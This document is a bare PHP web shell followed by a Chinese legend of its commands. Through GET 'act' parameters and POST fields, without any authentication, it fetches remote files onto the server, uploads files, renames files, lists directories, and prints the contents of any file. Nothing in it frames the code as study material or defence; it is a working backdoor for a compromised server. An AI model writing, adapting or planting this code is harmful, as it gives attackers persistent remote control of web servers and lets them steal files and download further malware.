郎朗坤
error_reporting(0);
if($_GET['act'] == 'dl')
{
echo ('
FN:URL:');if($_SERVER['REQUEST_METHOD'] == 'POST')
{
file_put_contents($_POST['fn'], file_get_contents($_POST['url']));
}
exit;
}
if($_GET['act'] == 'ul')
{
echo ('
SP:');if($_SERVER['REQUEST_METHOD'] == 'POST')
{
$sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
move_uploaded_file(${"_FILES"}["uf"]["tmp_name"], $sp . ${"_FILES"}["uf"]["name"]);
}
exit;
}
if($_GET['act'] == 'rn')
{
echo ('
ON:NN:');if($_SERVER['REQUEST_METHOD'] == 'POST')
{
rename($_POST['on'], $_POST['nn']);
}
exit;
}
if($_GET['act'] == 'gp')
{
echo (dirname(__FILE__));exit;
}
if($_GET['act'] == 'lp')
{
echo ('
DP:');if($_SERVER['REQUEST_METHOD'] == 'POST')
{
$dp = $_POST['dp'] . '/';
$h = opendir($dp);while(($fn = readdir($h)) !== false)
{
if(is_dir($dp . $fn))
{
$t1 .= 'D ' . $fn . '
';
}
else
{
$t2 .= ' ' . $fn . '
';
}
}
closedir($dp);
echo ($dp . '
' . $t1 . $t2);
}
exit;
}
if($_GET['act'] == 'sf')
{
echo ('
DF:');if($_SERVER['REQUEST_METHOD'] == 'POST')
{
$df = $_POST['df'];
echo ('' . file_get_contents($df) . '');
}
exit;
}
act=dl下载远程文件act=ul上传文件act=rn重命名文件act=gp读取当前目录act=lp读取目录文件列表act=sf读取文件内容